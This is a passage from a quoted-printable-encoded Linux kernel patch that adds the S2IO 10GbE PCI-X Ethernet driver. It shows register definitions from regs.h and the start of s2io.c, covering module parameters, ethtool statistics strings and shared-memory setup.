RX_QUEUE_PRI_3 3=0A= +#define RX_QUEUE_PRI_4 4=0A= +#define RX_QUEUE_PRI_5 5=0A= +#define RX_QUEUE_PRI_6 6=0A= +#define RX_QUEUE_PRI_7 7 /* lowest */=0A= +=0A= + u64 rx_w_round_robin_0;=0A= + u64 rx_w_round_robin_1;=0A= + u64 rx_w_round_robin_2;=0A= + u64 rx_w_round_robin_3;=0A= + u64 rx_w_round_robin_4;=0A= +=0A= + /* Per-ring controller regs */=0A= +#define RX_MAX_RINGS 8=0A= +#if 0=0A= +#define RX_MAX_RINGS_SZ 0xFFFF /* 65536 */=0A= +#define RX_MIN_RINGS_SZ 0x3F /* 63 */=0A= +#endif=0A= + u64 prc_rxd0_n[RX_MAX_RINGS];=0A= + u64 prc_ctrl_n[RX_MAX_RINGS];=0A= +#define PRC_CTRL_RC_ENABLED BIT(7)=0A= +#define PRC_CTRL_RING_MODE (BIT(14)|BIT(15))=0A= +#define PRC_CTRL_RING_MODE_1 vBIT(0,14,2)=0A= +#define PRC_CTRL_RING_MODE_3 vBIT(1,14,2)=0A= +#define PRC_CTRL_RING_MODE_5 vBIT(2,14,2)=0A= +#define PRC_CTRL_RING_MODE_x vBIT(3,14,2)=0A= +#define PRC_CTRL_NO_SNOOP (BIT(22)|BIT(23))=0A= +#define PRC_CTRL_NO_SNOOP_DESC BIT(22)=0A= +#define PRC_CTRL_NO_SNOOP_BUFF BIT(23)=0A= +#define PRC_CTRL_RXD_BACKOFF_INTERVAL(val) vBIT(val,40,24)=0A= +=0A= + u64 prc_alarm_action;=0A= +#define PRC_ALARM_ACTION_RR_R0_STOP BIT(3)=0A= +#define PRC_ALARM_ACTION_RW_R0_STOP BIT(7)=0A= +#define PRC_ALARM_ACTION_RR_R1_STOP BIT(11)=0A= +#define PRC_ALARM_ACTION_RW_R1_STOP BIT(15)=0A= +#define PRC_ALARM_ACTION_RR_R2_STOP BIT(19)=0A= +#define PRC_ALARM_ACTION_RW_R2_STOP BIT(23)=0A= +#define PRC_ALARM_ACTION_RR_R3_STOP BIT(27)=0A= +#define PRC_ALARM_ACTION_RW_R3_STOP BIT(31)=0A= +#define PRC_ALARM_ACTION_RR_R4_STOP BIT(35)=0A= +#define PRC_ALARM_ACTION_RW_R4_STOP BIT(39)=0A= +#define PRC_ALARM_ACTION_RR_R5_STOP BIT(43)=0A= +#define PRC_ALARM_ACTION_RW_R5_STOP BIT(47)=0A= +#define PRC_ALARM_ACTION_RR_R6_STOP BIT(51)=0A= +#define PRC_ALARM_ACTION_RW_R6_STOP BIT(55)=0A= +#define PRC_ALARM_ACTION_RR_R7_STOP BIT(59)=0A= +#define PRC_ALARM_ACTION_RW_R7_STOP BIT(63)=0A= +=0A= +/* Receive traffic interrupts */=0A= + u64 rti_command_mem;=0A= +#define RTI_CMD_MEM_WE BIT(7)=0A= +#define RTI_CMD_MEM_STROBE BIT(15)=0A= +#define RTI_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define RTI_CMD_MEM_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= +#define RTI_CMD_MEM_OFFSET(n) vBIT(n,29,3)=0A= +=0A= + u64 rti_data1_mem;=0A= +#define RTI_DATA1_MEM_RX_TIMER_VAL(n) vBIT(n,3,29)=0A= +#define RTI_DATA1_MEM_RX_TIMER_AC_EN BIT(38)=0A= +#define RTI_DATA1_MEM_RX_TIMER_CI_EN BIT(39)=0A= +#define RTI_DATA1_MEM_RX_URNG_A(n) vBIT(n,41,7)=0A= +#define RTI_DATA1_MEM_RX_URNG_B(n) vBIT(n,49,7)=0A= +#define RTI_DATA1_MEM_RX_URNG_C(n) vBIT(n,57,7)=0A= +=0A= + u64 rti_data2_mem;=0A= +#define RTI_DATA2_MEM_RX_UFC_A(n) vBIT(n,0,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_B(n) vBIT(n,16,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_C(n) vBIT(n,32,16)=0A= +#define RTI_DATA2_MEM_RX_UFC_D(n) vBIT(n,48,16)=0A= +=0A= + u64 rx_pa_cfg;=0A= +#define RX_PA_CFG_IGNORE_FRM_ERR BIT(1)=0A= +#define RX_PA_CFG_IGNORE_SNAP_OUI BIT(2)=0A= +#define RX_PA_CFG_IGNORE_LLC_CTRL BIT(3)=0A= +=0A= + u8 unused12[0x700 - 0x1D8];=0A= +=0A= + u64 rxdma_debug_ctrl;=0A= +=0A= + u8 unused13[0x2000 - 0x1f08];=0A= +=0A= +/* Media Access Controller Register */=0A= + u64 mac_int_status;=0A= + u64 mac_int_mask;=0A= +#define MAC_INT_STATUS_TMAC_INT BIT(0)=0A= +#define MAC_INT_STATUS_RMAC_INT BIT(1)=0A= +=0A= + u64 mac_tmac_err_reg;=0A= +#define TMAC_ERR_REG_TMAC_ECC_DB_ERR BIT(15)=0A= +#define TMAC_ERR_REG_TMAC_TX_BUF_OVRN BIT(23)=0A= +#define TMAC_ERR_REG_TMAC_TX_CRI_ERR BIT(31)=0A= + u64 mac_tmac_err_mask;=0A= + u64 mac_tmac_err_alarm;=0A= +=0A= + u64 mac_rmac_err_reg;=0A= +#define RMAC_ERR_REG_RX_BUFF_OVRN BIT(0)=0A= +#define RMAC_ERR_REG_RTS_ECC_DB_ERR BIT(14)=0A= +#define RMAC_ERR_REG_ECC_DB_ERR BIT(15)=0A= +#define RMAC_LINK_STATE_CHANGE_INT BIT(31)=0A= + u64 mac_rmac_err_mask;=0A= + u64 mac_rmac_err_alarm;=0A= +=0A= + u8 unused14[0x100 - 0x40];=0A= +=0A= + u64 mac_cfg;=0A= +#define MAC_CFG_TMAC_ENABLE BIT(0)=0A= +#define MAC_CFG_RMAC_ENABLE BIT(1)=0A= +#define MAC_CFG_LAN_NOT_WAN BIT(2)=0A= +#define MAC_CFG_TMAC_LOOPBACK BIT(3)=0A= +#define MAC_CFG_TMAC_APPEND_PAD BIT(4)=0A= +#define MAC_CFG_RMAC_STRIP_FCS BIT(5)=0A= +#define MAC_CFG_RMAC_STRIP_PAD BIT(6)=0A= +#define MAC_CFG_RMAC_PROM_ENABLE BIT(7)=0A= +#define MAC_RMAC_DISCARD_PFRM BIT(8)=0A= +#define MAC_RMAC_BCAST_ENABLE BIT(9)=0A= +#define MAC_RMAC_ALL_ADDR_ENABLE BIT(10)=0A= +#define MAC_RMAC_INVLD_IPG_THR(val) vBIT(val,16,8)=0A= +=0A= + u64 tmac_avg_ipg;=0A= +#define TMAC_AVG_IPG(val) vBIT(val,0,8)=0A= +=0A= + u64 rmac_max_pyld_len;=0A= +#define RMAC_MAX_PYLD_LEN(val) vBIT(val,2,14)=0A= +#define RMAC_MAX_PYLD_LEN_DEF vBIT(1500,2,14)=0A= +#define RMAC_MAX_PYLD_LEN_JUMBO_DEF vBIT(9600,2,14)=0A= +=0A= + u64 rmac_err_cfg;=0A= +#define RMAC_ERR_FCS BIT(0)=0A= +#define RMAC_ERR_FCS_ACCEPT BIT(1)=0A= +#define RMAC_ERR_TOO_LONG BIT(1)=0A= +#define RMAC_ERR_TOO_LONG_ACCEPT BIT(1)=0A= +#define RMAC_ERR_RUNT BIT(2)=0A= +#define RMAC_ERR_RUNT_ACCEPT BIT(2)=0A= +#define RMAC_ERR_LEN_MISMATCH BIT(3)=0A= +#define RMAC_ERR_LEN_MISMATCH_ACCEPT BIT(3)=0A= +=0A= + u64 rmac_cfg_key;=0A= +#define RMAC_CFG_KEY(val) vBIT(val,0,16)=0A= +=0A= +#define MAX_MAC_ADDRESSES 16=0A= +#define MAX_MC_ADDRESSES 32 /* Multicast addresses */=0A= +#define MAC_MAC_ADDR_START_OFFSET 0=0A= +#define MAC_MC_ADDR_START_OFFSET 16=0A= +#define MAC_MC_ALL_MC_ADDR_OFFSET 63 /* enables all multicast pkts */=0A= + u64 rmac_addr_cmd_mem;=0A= +#define RMAC_ADDR_CMD_MEM_WE BIT(7)=0A= +#define RMAC_ADDR_CMD_MEM_RD 0=0A= +#define RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD BIT(15)=0A= +#define RMAC_ADDR_CMD_MEM_STROBE_CMD_EXECUTING BIT(15)=0A= +#define RMAC_ADDR_CMD_MEM_OFFSET(n) vBIT(n,26,6)=0A= +=0A= + u64 rmac_addr_data0_mem;=0A= +#define RMAC_ADDR_DATA0_MEM_ADDR(n) vBIT(n,0,48)=0A= +#define RMAC_ADDR_DATA0_MEM_USER BIT(48)=0A= +=0A= + u64 rmac_addr_data1_mem;=0A= +#define RMAC_ADDR_DATA1_MEM_MASK(n) vBIT(n,0,48)=0A= +=0A= + u8 unused15[0x8];=0A= +=0A= +/*=0A= + u64 rmac_addr_cfg;=0A= +#define RMAC_ADDR_UCASTn_EN(n) mBIT(0)_n(n)=0A= +#define RMAC_ADDR_MCASTn_EN(n) mBIT(0)_n(n)=0A= +#define RMAC_ADDR_BCAST_EN vBIT(0)_48 =0A= +#define RMAC_ADDR_ALL_ADDR_EN vBIT(0)_49 =0A= +*/=0A= + u64 tmac_ipg_cfg;=0A= +=0A= + u64 rmac_pause_cfg;=0A= +#define RMAC_PAUSE_GEN BIT(0)=0A= +#define RMAC_PAUSE_GEN_ENABLE BIT(0)=0A= +#define RMAC_PAUSE_RX BIT(1)=0A= +#define RMAC_PAUSE_RX_ENABLE BIT(1)=0A= +#define RMAC_PAUSE_HG_PTIME_DEF vBIT(0xFFFF,16,16)=0A= +#define RMAC_PAUSE_HG_PTIME(val) vBIT(val,16,16)=0A= +=0A= + u64 rmac_red_cfg;=0A= +=0A= + u64 rmac_red_rate_q0q3;=0A= + u64 rmac_red_rate_q4q7;=0A= +=0A= + u64 mac_link_util;=0A= +#define MAC_TX_LINK_UTIL vBIT(0xFE,1,7)=0A= +#define MAC_TX_LINK_UTIL_DISABLE vBIT(0xF, 8,4)=0A= +#define MAC_TX_LINK_UTIL_VAL( n ) vBIT(n,8,4)=0A= +#define MAC_RX_LINK_UTIL vBIT(0xFE,33,7)=0A= +#define MAC_RX_LINK_UTIL_DISABLE vBIT(0xF,40,4)=0A= +#define MAC_RX_LINK_UTIL_VAL( n ) vBIT(n,40,4)=0A= +=0A= +#define MAC_LINK_UTIL_DISABLE MAC_TX_LINK_UTIL_DISABLE | \=0A= + MAC_RX_LINK_UTIL_DISABLE=0A= +=0A= + u64 rmac_invalid_ipg;=0A= +=0A= +/* rx traffic steering */=0A= +#define MAC_RTS_FRM_LEN_SET(len) vBIT(len,2,14)=0A= + u64 rts_frm_len_n[8];=0A= +=0A= + u64 rts_qos_steering;=0A= +=0A= +#define MAX_DIX_MAP 4=0A= + u64 rts_dix_map_n[MAX_DIX_MAP];=0A= +#define RTS_DIX_MAP_ETYPE(val) vBIT(val,0,16)=0A= +#define RTS_DIX_MAP_SCW(val) BIT(val,21)=0A= +=0A= + u64 rts_q_alternates;=0A= + u64 rts_default_q;=0A= +=0A= + u64 rts_ctrl;=0A= +#define RTS_CTRL_IGNORE_SNAP_OUI BIT(2)=0A= +#define RTS_CTRL_IGNORE_LLC_CTRL BIT(3)=0A= +=0A= + u64 rts_pn_cam_ctrl;=0A= +#define RTS_PN_CAM_CTRL_WE BIT(7)=0A= +#define RTS_PN_CAM_CTRL_STROBE_NEW_CMD BIT(15)=0A= +#define RTS_PN_CAM_CTRL_STROBE_BEING_EXECUTED BIT(15)=0A= +#define RTS_PN_CAM_CTRL_OFFSET(n) vBIT(n,24,8)=0A= + u64 rts_pn_cam_data;=0A= +#define RTS_PN_CAM_DATA_TCP_SELECT BIT(7)=0A= +#define RTS_PN_CAM_DATA_PORT(val) vBIT(val,8,16)=0A= +#define RTS_PN_CAM_DATA_SCW(val) vBIT(val,24,8)=0A= +=0A= + u64 rts_ds_mem_ctrl;=0A= +#define RTS_DS_MEM_CTRL_WE BIT(7)=0A= +#define RTS_DS_MEM_CTRL_STROBE_NEW_CMD BIT(15)=0A= +#define RTS_DS_MEM_CTRL_STROBE_CMD_BEING_EXECUTED BIT(15)=0A= +#define RTS_DS_MEM_CTRL_OFFSET(n) vBIT(n,26,6)=0A= + u64 rts_ds_mem_data;=0A= +#define RTS_DS_MEM_DATA(n) vBIT(n,0,8)=0A= +=0A= + u8 unused16[0x700 - 0x220];=0A= +=0A= + u64 mac_debug_ctrl;=0A= +#define MAC_DBG_ACTIVITY_VALUE 0x411040400000000ULL=0A= +=0A= + u8 unused17[0x2800 - 0x2708];=0A= +=0A= +/* memory controller registers */=0A= + u64 mc_int_status;=0A= +#define MC_INT_STATUS_MC_INT BIT(0)=0A= + u64 mc_int_mask;=0A= +#define MC_INT_MASK_MC_INT BIT(0)=0A= +=0A= + u64 mc_err_reg;=0A= +#define MC_ERR_REG_ECC_DB_ERR_L BIT(14)=0A= +#define MC_ERR_REG_ECC_DB_ERR_U BIT(15)=0A= +#define MC_ERR_REG_MIRI_CRI_ERR_0 BIT(22)=0A= +#define MC_ERR_REG_MIRI_CRI_ERR_1 BIT(23)=0A= +#define MC_ERR_REG_SM_ERR BIT(31)=0A= + u64 mc_err_mask;=0A= + u64 mc_err_alarm;=0A= +=0A= + u8 unused18[0x100 - 0x28];=0A= +=0A= +/* MC configuration */=0A= + u64 rx_queue_cfg;=0A= +#define RX_QUEUE_CFG_Q0_SZ(n) vBIT(n,0,8)=0A= +#define RX_QUEUE_CFG_Q1_SZ(n) vBIT(n,8,8)=0A= +#define RX_QUEUE_CFG_Q2_SZ(n) vBIT(n,16,8)=0A= +#define RX_QUEUE_CFG_Q3_SZ(n) vBIT(n,24,8)=0A= +#define RX_QUEUE_CFG_Q4_SZ(n) vBIT(n,32,8)=0A= +#define RX_QUEUE_CFG_Q5_SZ(n) vBIT(n,40,8)=0A= +#define RX_QUEUE_CFG_Q6_SZ(n) vBIT(n,48,8)=0A= +#define RX_QUEUE_CFG_Q7_SZ(n) vBIT(n,56,8)=0A= +=0A= + u64 mc_rldram_mrs;=0A= +#define MC_RLDRAM_QUEUE_SIZE_ENABLE BIT(39)=0A= +#define MC_RLDRAM_MRS_ENABLE BIT(47)=0A= +=0A= + u64 mc_rldram_interleave;=0A= +=0A= + u64 mc_pause_thresh_q0q3;=0A= + u64 mc_pause_thresh_q4q7;=0A= +=0A= + u64 mc_red_thresh_q[8];=0A= +=0A= + u8 unused19[0x200 - 0x168];=0A= + u64 mc_rldram_ref_per;=0A= + u8 unused20[0x220 - 0x208];=0A= + u64 mc_rldram_test_ctrl;=0A= +#define MC_RLDRAM_TEST_MODE BIT(47)=0A= +#define MC_RLDRAM_TEST_WRITE BIT(7)=0A= +#define MC_RLDRAM_TEST_GO BIT(15)=0A= +#define MC_RLDRAM_TEST_DONE BIT(23)=0A= +#define MC_RLDRAM_TEST_PASS BIT(31)=0A= +=0A= + u8 unused21[0x240 - 0x228];=0A= + u64 mc_rldram_test_add;=0A= + u8 unused22[0x260 - 0x248];=0A= + u64 mc_rldram_test_d0;=0A= + u8 unused23[0x280 - 0x268];=0A= + u64 mc_rldram_test_d1;=0A= + u8 unused24[0x300 - 0x288];=0A= + u64 mc_rldram_test_d2;=0A= + u8 unused25[0x700 - 0x308];=0A= + u64 mc_debug_ctrl;=0A= +=0A= + u8 unused26[0x3000 - 0x2f08];=0A= +=0A= +/* XGXG */=0A= + /* XGXS control registers */=0A= +=0A= + u64 xgxs_int_status;=0A= +#define XGXS_INT_STATUS_TXGXS BIT(0)=0A= +#define XGXS_INT_STATUS_RXGXS BIT(1)=0A= + u64 xgxs_int_mask;=0A= +#define XGXS_INT_MASK_TXGXS BIT(0)=0A= +#define XGXS_INT_MASK_RXGXS BIT(1)=0A= +=0A= + u64 xgxs_txgxs_err_reg;=0A= +#define TXGXS_ECC_DB_ERR BIT(15)=0A= + u64 xgxs_txgxs_err_mask;=0A= + u64 xgxs_txgxs_err_alarm;=0A= +=0A= + u64 xgxs_rxgxs_err_reg;=0A= + u64 xgxs_rxgxs_err_mask;=0A= + u64 xgxs_rxgxs_err_alarm;=0A= +=0A= + u8 unused27[0x100 - 0x40];=0A= +=0A= + u64 xgxs_cfg;=0A= + u64 xgxs_status;=0A= +=0A= + u64 xgxs_cfg_key;=0A= + u64 xgxs_efifo_cfg; /* CHANGED */=0A= + u64 rxgxs_ber_0; /* CHANGED */=0A= + u64 rxgxs_ber_1; /* CHANGED */=0A= +=0A= +} XENA_dev_config_t;=0A= +=0A= +#define XENA_REG_SPACE sizeof(XENA_dev_config_t)=0A= +#define XENA_EEPROM_SPACE (0x01 << 11)=0A= +=0A= +#endif /* _REGS_H */=0A= diff -urN vanilla-linux/drivers/net/s2io/s2io.c = vanilla-linux-patch/drivers/net/s2io/s2io.c=0A= --- vanilla-linux/drivers/net/s2io/s2io.c 1970-01-01 05:30:00.000000000 = +0530=0A= +++ vanilla-linux-patch/drivers/net/s2io/s2io.c 2004-03-18 = 18:00:12.000000000 +0530=0A= @@ -0,0 +1,4389 @@=0A= +/***********************************************************************= *=0A= + * s2io.c: A Linux PCI-X Ethernet driver for S2IO 10GbE Server NIC=0A= + * Copyright(c) 2002-2005 S2IO Technologies=0A= +=0A= + * This software may be used and distributed according to the terms of=0A= + * the GNU General Public License (GPL), incorporated herein by = reference.=0A= + * Drivers based on or derived from this code fall under the GPL and = must=0A= + * retain the authorship, copyright and license notice. This file is = not=0A= + * a complete program and may only be used when the entire operating=0A= + * system is licensed under the GPL.=0A= + * See the file COPYING in this distribution for more information.=0A= + *=0A= + * Credits:=0A= + * Jeff Garzik : For pointing out the improper error condition =0A= + * check in the s2io_xmit routine and also some =0A= + * issues in the Tx watch dog function. Also for=0A= + * patiently answering all those innumerable =0A= + * questions regaring the 2.6 porting issues.=0A= + * Stephen Hemminger : Providing proper 2.6 porting mechanism for some=0A= + * macros available only in 2.6 Kernel.=0A= + * Francois Romieu : For pointing out all code part that were =0A= + * deprecated and also styling related comments.=0A= + * Grant Grundler : For helping me get rid of some Architecture =0A= + * dependent code.=0A= + * Christopher Hellwig : Some more 2.6 specific issues in the driver.=0A= + * =0A= + * The module loadable parameters that are supported by the driver and = a brief=0A= + * explaination of all the variables.=0A= + * ring_num : This can be used to program the number of receive rings = used =0A= + * in the driver. =0A= + * frame_len: This is an array of size 8. Using this we can set the = maximum =0A= + * size of the received frame that can be steered into the corrsponding =0A= + * receive ring.=0A= + * ring_len: This defines the number of descriptors each ring can have. = This =0A= + * is also an array of size 8.=0A= + * fifo_num: This defines the number of Tx FIFOs thats used int the = driver.=0A= + * fifo_len: This too is an array of 8. Each element defines the number = of =0A= + * Tx descriptors that can be associated with each corresponding FIFO.=0A= + * latency_timer: This input is programmed into the Latency timer = register=0A= + * in PCI Configuration space.=0A= + = ************************************************************************/=0A= +=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +#include=0A= +=0A= +/* local include */=0A= +#include "s2io.h"=0A= +#include "regs.h"=0A= +=0A= +/* S2io Driver name & version. */=0A= +static char s2io_driver_name[] =3D "s2io";=0A= +static char s2io_driver_version[] =3D "Version 1.0";=0A= +=0A= +#define LINK_IS_UP(val64) (!(val64 & (ADAPTER_STATUS_RMAC_REMOTE_FAULT = | \=0A= + ADAPTER_STATUS_RMAC_LOCAL_FAULT)))=0A= +#define TASKLET_IN_USE test_and_set_bit(0, \=0A= + (unsigned long *)(&sp->tasklet_status))=0A= +#define PANIC 1=0A= +#define LOW 2=0A= +static inline int rx_buffer_level(nic_t * sp, int rxb_size, int ring)=0A= +{=0A= + int level =3D 0;=0A= + if ((sp->pkt_cnt[ring] - rxb_size) > 128) {=0A= + level =3D LOW;=0A= + if (rxb_size < sp->pkt_cnt[ring] / 8)=0A= + level =3D PANIC;=0A= + }=0A= +=0A= + return level;=0A= +}=0A= +=0A= +/* Ethtool related variables and Macros. */=0A= +static char s2io_gstrings[][ETH_GSTRING_LEN] =3D {=0A= + "Register test\t(offline)",=0A= + "Eeprom test\t(offline)",=0A= + "Link test\t(online)",=0A= + "RLDRAM test\t(offline)",=0A= + "BIST Test\t(offline)"=0A= +};=0A= +=0A= +static char ethtool_stats_keys[][ETH_GSTRING_LEN] =3D {=0A= + {"tmac_frms"},=0A= + {"tmac_data_octets"},=0A= + {"tmac_drop_frms"},=0A= + {"tmac_mcst_frms"},=0A= + {"tmac_bcst_frms"},=0A= + {"tmac_pause_ctrl_frms"},=0A= + {"tmac_any_err_frms"},=0A= + {"tmac_vld_ip_octets"},=0A= + {"tmac_vld_ip"},=0A= + {"tmac_drop_ip"},=0A= + {"tmac_icmp"},=0A= + {"tmac_rst_tcp"},=0A= + {"tmac_tcp"},=0A= + {"tmac_udp"},=0A= + {"rmac_vld_frms"},=0A= + {"rmac_data_octets"},=0A= + {"rmac_fcs_err_frms"},=0A= + {"rmac_drop_frms"},=0A= + {"rmac_vld_mcst_frms"},=0A= + {"rmac_vld_bcst_frms"},=0A= + {"rmac_in_rng_len_err_frms"},=0A= + {"rmac_long_frms"},=0A= + {"rmac_pause_ctrl_frms"},=0A= + {"rmac_discarded_frms"},=0A= + {"rmac_usized_frms"},=0A= + {"rmac_osized_frms"},=0A= + {"rmac_frag_frms"},=0A= + {"rmac_jabber_frms"},=0A= + {"rmac_ip"},=0A= + {"rmac_ip_octets"},=0A= + {"rmac_hdr_err_ip"},=0A= + {"rmac_drop_ip"},=0A= + {"rmac_icmp"},=0A= + {"rmac_tcp"},=0A= + {"rmac_udp"},=0A= + {"rmac_err_drp_udp"},=0A= + {"rmac_pause_cnt"},=0A= + {"rmac_accepted_ip"},=0A= + {"rmac_err_tcp"},=0A= +};=0A= +=0A= +#define S2IO_STAT_LEN sizeof(ethtool_stats_keys)/ ETH_GSTRING_LEN=0A= +#define S2IO_STAT_STRINGS_LEN S2IO_STAT_LEN * ETH_GSTRING_LEN=0A= +=0A= +#define S2IO_TEST_LEN sizeof(s2io_gstrings) / ETH_GSTRING_LEN=0A= +#define S2IO_STRINGS_LEN S2IO_TEST_LEN * ETH_GSTRING_LEN=0A= +=0A= +=0A= +/* Constants to be programmed into the Xena's registers to configure=0A= + * the XAUI.=0A= + */=0A= +=0A= +#define SWITCH_SIGN 0xA5A5A5A5A5A5A5A5ULL=0A= +#define END_SIGN 0x0=0A= +=0A= +static u64 default_mdio_cfg[] =3D {=0A= + /* Reset PMA PLL */=0A= + 0xC001010000000000ULL, 0xC0010100000000E0ULL,=0A= + 0xC0010100008000E4ULL,=0A= + /* Remove Reset from PMA PLL */=0A= + 0xC001010000000000ULL, 0xC0010100000000E0ULL,=0A= + 0xC0010100000000E4ULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +static u64 default_dtx_cfg[] =3D {=0A= + 0x8000051500000000ULL, 0x80000515000000E0ULL,=0A= + 0x80000515D93500E4ULL, 0x8001051500000000ULL,=0A= + 0x80010515000000E0ULL, 0x80010515001E00E4ULL,=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515F21000E4ULL,=0A= + /* Set PADLOOPBACKN */=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515B20000E4ULL, 0x8003051500000000ULL,=0A= + 0x80030515000000E0ULL, 0x80030515B20000E4ULL,=0A= + 0x8004051500000000ULL, 0x80040515000000E0ULL,=0A= + 0x80040515B20000E4ULL, 0x8005051500000000ULL,=0A= + 0x80050515000000E0ULL, 0x80050515B20000E4ULL,=0A= + SWITCH_SIGN,=0A= + /* Remove PADLOOPBACKN */=0A= + 0x8002051500000000ULL, 0x80020515000000E0ULL,=0A= + 0x80020515F20000E4ULL, 0x8003051500000000ULL,=0A= + 0x80030515000000E0ULL, 0x80030515F20000E4ULL,=0A= + 0x8004051500000000ULL, 0x80040515000000E0ULL,=0A= + 0x80040515F20000E4ULL, 0x8005051500000000ULL,=0A= + 0x80050515000000E0ULL, 0x80050515F20000E4ULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +/* Constants for Fixing the MacAddress problem seen mostly on=0A= + * Alpha machines.=0A= + */=0A= +static u64 fix_mac[] =3D {=0A= + 0x0060000000000000ULL, 0x0060600000000000ULL,=0A= + 0x0040600000000000ULL, 0x0000600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0060600000000000ULL,=0A= + 0x0020600000000000ULL, 0x0000600000000000ULL,=0A= + 0x0040600000000000ULL, 0x0060600000000000ULL,=0A= + END_SIGN=0A= +};=0A= +=0A= +=0A= +/* Module Loadable parameters. */=0A= +static u32 ring_num;=0A= +static u32 frame_len[MAX_RX_RINGS];=0A= +static u32 ring_len[MAX_RX_RINGS];=0A= +static u32 fifo_num;=0A= +static u32 fifo_len[MAX_TX_FIFOS];=0A= +static u32 rx_prio;=0A= +static u32 tx_prio;=0A= +static u8 latency_timer =3D 0;=0A= +=0A= +/* =0A= + * S2IO device table.=0A= + * This table lists all the devices that this driver supports. =0A= + */=0A= +static struct pci_device_id s2io_tbl[] __devinitdata =3D {=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_WIN,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {PCI_VENDOR_ID_S2IO, PCI_DEVICE_ID_S2IO_UNI,=0A= + PCI_ANY_ID, PCI_ANY_ID},=0A= + {0,}=0A= +};=0A= +=0A= +MODULE_DEVICE_TABLE(pci, s2io_tbl);=0A= +=0A= +static struct pci_driver s2io_driver =3D {=0A= + name:"S2IO",=0A= + id_table:s2io_tbl,=0A= + probe:s2io_init_nic,=0A= + remove:s2io_rem_nic,=0A= +};=0A= +=0A= +/* =0A= + * Input Arguments: =0A= + * Device private variable.=0A= + * Return Value: =0A= + * SUCCESS on success and an appropriate -ve value on failure.=0A= + * Description: =0A= + * The function allocates the all memory areas shared =0A= + * between the NIC and the driver. This includes Tx descriptors, =0A= + * Rx descriptors and the statistics block.=0A= + */=0A= +static int initSharedMem(struct s2io_nic *nic)=0A= +{=0A= + u32 size;=0A= + void *tmp_v_addr, *tmp_v_addr_next;=0A= + dma_addr_t tmp_p_addr, tmp_p_addr_next;=0A= + RxD_block_t *pre_rxd_blk =3D NULL;=0A= + int i, j, blk_cnt;=0A= + struct net_device *dev =3D nic->dev;=0A= +=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &nic->mac_control;=0A= + config =3D &nic->config;=0A= +=0A= +=0A= + /* Allocation and initialization of TXDLs in FIOFs */=0A= + size =3D 0;=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + size +=3D config->TxCfg[i].FifoLen;=0A= + }=0A= + if (size > MAX_AVAILABLE_TXDS) {=0A= + DBG_PRINT(ERR_DBG, "%s: Total number of Tx FIFOs ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "exceeds the maximum value ");=0A= + DBG_PRINT(ERR_DBG, "that can be used\n");=0A= + return FAILURE;=0A= + }=0A= + size *=3D (sizeof(TxD_t) * config->MaxTxDs);=0A= +=0A= + mac_control->txd_list_mem =3D pci_alloc_consistent=0A= + (nic->pdev, size, &mac_control->txd_list_mem_phy);=0A= + if (!mac_control->txd_list_mem) {=0A= + return -ENOMEM;=0A= + }=0A= + mac_control->txd_list_mem_sz =3D size;=0A= +=0A= + tmp_v_addr =3D mac_control->txd_list_mem;=0A= + tmp_p_addr =3D mac_control->txd_list_mem_phy;=0A= + memset(tmp_v_addr, 0, size);=0A= +=0A= + DBG_PRINT(INIT_DBG, "%s:List Mem PHY: 0x%llx\n", dev->name,=0A= + (unsigned long long) tmp_p_addr);=0A= +=0A= + for (i =3D 0; i < config->TxFIFONum; i++) {=0A= + mac_control->txdl_start_phy[i] =3D tmp_p_addr;=0A= + mac_control->txdl_start[i] =3D (TxD_t *) tmp_v_addr;=0A= + mac_control->tx_curr_put_info[i].offset =3D 0;=0A= + mac_control->tx_curr_put_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= + mac_control->tx_curr_get_info[i].offset =3D 0;=0A= + mac_control->tx_curr_get_info[i].fifo_len =3D=0A= + config->TxCfg[i].FifoLen - 1;=0A= +=0A= + tmp_p_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= + tmp_v_addr +=3D=0A= + (config->TxCfg[i].FifoLen * (sizeof(TxD_t)) *=0A= + config->MaxTxDs);=0A= + }=0A= +=0A= + /* Allocation and initialization of RXDs in Rings */=0A= + size =3D 0;=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + if (config->RxCfg[i].NumRxd % (MAX_RXDS_PER_BLOCK + 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: RxD count of ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "Ring%d is not a multiple of ",=0A= + i);=0A= + DBG_PRINT(ERR_DBG, "RxDs per Block");=0A= + return FAILURE;=0A= + }=0A= + size +=3D config->RxCfg[i].NumRxd;=0A= + nic->block_count[i] =3D=0A= + config->RxCfg[i].NumRxd / (MAX_RXDS_PER_BLOCK + 1);=0A= + nic->pkt_cnt[i] =3D=0A= + 